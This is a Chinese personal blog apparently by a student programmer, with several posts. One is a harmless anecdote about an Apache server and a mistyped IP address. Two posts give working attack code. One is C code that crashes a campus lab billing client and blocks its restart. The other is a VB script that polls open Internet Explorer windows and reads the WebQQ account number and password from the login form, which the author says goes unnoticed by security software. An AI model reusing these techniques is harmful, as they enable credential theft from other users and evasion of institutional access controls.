大学八卦之程序猿坑爹奇遇

先来剧透,网络中心工作室正在研发校园门户的手机版。详情略。出于装13,满足好奇心,提高效率……等动机,我让老师把服务器装成Linux的。做了这么久的程序猿不玩Linux似乎是一件非常丢人事情……

坑爹的事情从安装Apache开始。

当然为了省事,我直接下了LAMPP。上传,解包,一切顺利。打开浏览器,输入IP——***.***.161.***,回车,看到了熟悉的“It wors”字样。看来是没有问题了。

……没问题才怪。

把网页文件上传好,修改httpd.conf的DocumentRoot,重启Apache,刷新浏览器。界面界面快出来~~
只见网页上面还是直挺挺的一行字——“It works!”

……嗯?

Works?!工作你妹啊?!我不是把路径改了吗?!

接下来把httpd.conf从头到尾看了一遍,发现底部居然还有include。顺着路径把引用的配置文件也找到了,可是打开一看也没有暗桩,不过是phpMyAdmin啊控制台啊什么的虚拟路径而已。

而且要命的是……我找不到那个该死的It works的源文件。于是我开始了艰苦卓绝的手动遍历目录行动……

ChiChou正在手动扫描/usr…未找到文件。
ChiChou正在手动扫描/root…未找到文件。
ChiChou正在手动扫描/etc…未找到文件。
ChiChou正在手动扫描/opt…未找到文件。
ChiChou正在手动扫描/var…未找到文件。
ChiChou正在手动扫描/tmp…未找到文件。
ChiChou正在手动扫描/dev…未找到文件。
ChiChou正在手动扫描/proc…未找到文件。
…ChiChou没有响应,请[拨打120]…

经过两小时的挣扎,我放弃抵抗跑去问老师。老师怀疑是服务器上装了别的HTTP服务器,可是列出进程什么也没发现……接下来高潮来了。
老师想测试下phpMyAdmin路径能不能进去,我说不可以,之前都是404,然后点开地址栏……高潮来了!!

老师看着地址栏的IP,***.***.161.***,问,不是160的吗?

160。160。160。160。……改成160,一切正常……
我险些一口老血吐出来……你妹啊,IP地址差一位就算了,还都用的是阿帕奇。
害我被整了两个小时……两个小时……

注:

江帆网的服务器IP是***.***.161.**,我三天两头用这个地址,搞混了……

机房凶残的收费系统

计算中心的收费系统那可是相当凶残,禁止所有进程加载驱动,完美废掉XueTr,RootkitUnhooker,IceSword,PsNull3…自我保护具体方法不明,感觉用的是满世界插dll实现的。隐藏文件的效果和灰鸽子似乎挺像,没有设置属性,但是打开目录什么内容都没有。最后为了提取样本client.exe我只能开Notepad++…

某天上机到规定的关机时间,丫的直接给我注销登录了。我的文档还木有保存,那个纠结啊。最后无奈按下电源键关机,收费系统退出了,但是我可爱的FL Studio弹出了是否保存的提示。果断“取消”~居然又能继续了~也就是说ExitWindows之后处理WM_QUERYENDSESSION消息即可~

晚上和同学实验了下没成功。回到宿舍才想起来关机的方法错了,应该按电源而不是用管理系统的登录界面……我脑残了。。

下面是写程序进行蹂躏。

用IDA略看了一下客户端,首先惊喜是这个程序用的是mfc。测试下给窗体发送0×19消息,果然直接崩溃。但是系统有进程守护,异常退出后client.exe重启了。在收费系统安装目录下创建client.exe.manifest目录,成功阻止进程重启~

扯淡结束。纯属娱乐。

MessageBox(NULL, L"Please log off in 10 seconds.", L"Charging System Killer", MB_ICONINFORMATION);
HWND hSystem; HDESK hDesktop;
hSystem = FindWindow(L"AfxFrameOrView80", L"CTrayNotifyIcon Resurrection Notification Window");
hDesktop = GetThreadDesktop(GetCurrentThreadId());
Sleep(10000);
PostMessage(hSystem,0x19,0,0);
CreateDirectory(L"C:\\Program Files\\Asiastar\\Saturn5.0\\client.exe.manifest",NULL);
Sleep(3000);
SwitchDesktop(hDesktop);
MessageBox(NULL, L"Enjoy it!", L"AsiaStar Killer", MB_ICONINFORMATION);

IE下WEBQQ密码的截取

鉴于这博客还没有访问量,先发点邪恶的东西。本文纯属娱乐。

这里用到的方法并非键盘记录什么的,而是调用微软提供的相关编程接口,所以安全软件和UAC完全没有反应,兼容性很好~

IE浏览器提供了一个Shell.Application对象,可以获取并控制当前运行的资源管理器窗口IE浏览器。详细的用法请参考MSDN。我们用到的接口有:

Windows集合:用于遍历当前浏览器窗口,包括所有的资源管理器和IE浏览器
document对象:用于访问IE浏览器中的文档内容
locationURL属性:获取浏览器窗口的地址栏内容
getElementById方法:用于获取页面内的元素

思路如下:

1.创建Shell.Application对象的引用。
2.通过Windows集合获取当前所有的浏览器窗口
3.遍历浏览器窗口,通过locationURL属性判断浏览器是否为WEBQQ页面
4.获取浏览器document的内容,getElementById找到密码输入框
5.通过input元素的value属性获取密码框内容

关于密码框,使用Chrome的“审查元素”功能查看文档树结构,可以看到登录框在一个ID为“ifram_login”的iframe框架内。
用户名输入框ID为“u”,密码输入框ID为“p”

WEBQQ的DOM树结构

 

代码如下

Option Explicit
Dim oShellApp As Object, oWindows As Object, oWindow As Object, oDoc As Object 

Private Sub Main()
Set oShellApp = CreateObject("shell.application")
On Error Resume Next '容错处理
Do '死循环
DoEvents
Set oWindows = oShellApp.Windows '获取窗口集合 

If (oWindows.Count <> 0) Then
For Each oWindow In oWindows '遍历浏览器窗口
Set oDoc = oWindow.document '获得document 

Dim szURL As String
szURL = LCase$(oWindow.locationURL) '获取网址 

If (Left(szURL, 17) = "http://web.qq.com") Then '找到WEBQQ的页面
If (oDoc.readyState = "complete") Then '判断网页载入完成
Dim iFrame As Object
Set iFrame = oDoc.getElementById("ifram_login").contentWindow '获得iframe框架的内容 

If (iFrame.document.readyState = "complete") Then '判断网页载入完成
Debug.Print "QQNumber: " & iFrame.document.getElementById("u").Value & _
    vbCrLf & "Password: " & iFrame.document.getElementById("p").Value '搞到QQ号码和密码了
End If
End If
End If
Next
End If
Loop
End Sub

Hello World!

说来意外。本站的目的原本是专门更新CodeColorist软件,但是前几天我的百度博客因为可能不符合我国社会主义初级阶段基本国情或者其他乱七八糟的原因被和谐掉了。所以这个站点就成了我的新据点。

本站更新速度应该会比较低,因为本来就没什么可写,更何况大一没电脑用。

感谢FlowerCode[0GiNr]提供博客空间。